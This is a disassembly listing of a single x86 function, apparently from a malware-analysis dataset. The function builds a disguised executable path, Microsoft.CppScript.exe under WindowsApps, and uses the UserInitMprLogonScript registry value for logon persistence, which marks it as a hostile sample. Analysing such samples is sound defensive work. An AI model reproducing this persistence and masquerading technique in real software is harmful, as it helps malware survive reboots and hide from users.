Function at 0x1003b645
Capabilities:
Get common file path

Disassembly:
push 0xec
mov eax, 0x1010bff0
call fcn.100c7e75
push dword [ecx + 4]
lea ecx, [ebp - 0x98]
xor ebx, ebx
call fcn.10002047
mov dword [ebp - 4], ebx
mov dword [ebp - 0x60], ebx
push 0xf
pop eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x48], bl
mov byte [ebp - 4], 4
call fcn.10015da1
test al, al
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x60]
mov esi, str.PROJECT
push eax
push esi
je 0x1003b6b1
mov dword [ebp - 0x14], 0x6a
call fcn.10031729
mov dword [ebp - 0x14], 0x68
jmp 0x1003b6c4
mov dword [ebp - 0x14], 0x6b
call fcn.10031729
mov dword [ebp - 0x14], 0x69
lea eax, [ebp - 0x48]
push eax
push esi
lea edx, [ebp - 0x14]
call fcn.10031729
add esp, 0x10
cmp dword [ebp - 0x50], 0
je 0x1003b9be
cmp dword [ebp - 0x38], 0
je 0x1003b9be
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x1c
lea ecx, [ebp - 0xc8]
call fcn.10018d69
push str.MicrosoftWindowsApps_
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.10001f84
push eax
lea ecx, [ebp - 0x78]
call fcn.10001c7a
lea edx, [ebp - 0x78]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x90]
call fcn.1000e6f0
lea ecx, [ebp - 0x78]
call fcn.10002013
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 9
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10018b80
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x48]
call fcn.10031507
test al, al
je 0x1003b9b3
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x25
lea ecx, [ebp - 0xe0]
call fcn.10018d69
mov edi, 0x10143718
mov byte [ebp - 4], 0xa
push edi
mov ecx, eax
call fcn.10001f84
push eax
lea ecx, [ebp - 0xb0]
call fcn.10001c7a
lea edx, [ebp - 0xb0]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.1000e6f0
lea ecx, [ebp - 0xb0]
call fcn.10002013
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0xe
call fcn.10002013
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x60]
call fcn.10031507
test al, al
je 0x1003b9ab
push str._USERPROFILE_AppDataLocalMicrosoftWindowsAppsMicrosoft.CppScript.exe
lea ecx, [ebp - 0xc8]
call fcn.10001c43
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb0]
push str.HKEY_CURRENT_USEREnvironmentUserInitMprLogonScript
mov dword [ebp - 0x14], 1
call fcn.10001c43
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x10
push eax
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0xb0]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0xb0]
mov bl, al
call fcn.10002013
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0xe
call fcn.10002013
test bl, bl
jne 0x1003b850
lea ecx, [ebp - 0x78]
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10002013
xor ebx, ebx
jmp 0x1003b9be
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], bl
push ebx
mov esi, 0x104
mov byte [ebp - 4], 0x12
push esi
lea ecx, [ebp - 0x2c]
call fcn.10011a7c
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ebx
cmovae eax, dword [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10011a7c
push edi
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0xf8]
call fcn.100235f8
mov byte [ebp - 4], 0x13
mov ecx, eax
mov dword [esp], str.0CD5F53C_5AEC_6666_8888_FCABB9ED16DD
call fcn.10001f84
push eax
lea ecx, [ebp - 0xb0]
call fcn.10001c7a
push edi
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x14
call fcn.10001f84
push eax
lea ecx, [ebp - 0xc8]
call fcn.10001c7a
lea edx, [ebp - 0xc8]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe0]
call fcn.1000e6f0
push eax
lea ecx, [ebp - 0x2c]
call fcn.1000fedd
lea ecx, [ebp - 0xe0]
call fcn.10002013
lea ecx, [ebp - 0xc8]
call fcn.10002013
lea ecx, [ebp - 0xb0]
call fcn.10002013
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x12
call fcn.10002013
lea ecx, [ebp - 0x2c]
call fcn.1000e797
test al, al
je 0x1003b96c
lea eax, [ebp - 0x91]
mov byte [ebp - 0x91], 1
push eax
lea eax, [ebp - 0x92]
mov byte [ebp - 0x92], 1
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0xa4]
call fcn.10021766
pop ecx
pop ecx
lea ecx, [ebp - 0xa4]
call fcn.1001828e
lea ecx, [ebp - 0x2c]
call fcn.10018b80
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov esi, dword [eax]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
jmp 0x1003b99d
add eax, 0x10
lea ecx, [ebp - 0x30]
push eax
call fcn.1003b9e4
lea ecx, [ebp - 0x14]
call fcn.10021191
mov eax, dword [ebp - 0x14]
cmp eax, esi
jne 0x1003b986
lea ecx, [ebp - 0x2c]
mov bl, 1
call fcn.10002013
lea ecx, [ebp - 0x78]
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10002013
lea ecx, [ebp - 0x48]
call fcn.10002013
lea ecx, [ebp - 0x60]
call fcn.10002013
push dword [ebp - 0x98]
call fcn.1004f2b0
pop ecx
mov al, bl
call fcn.100c7e24
ret 4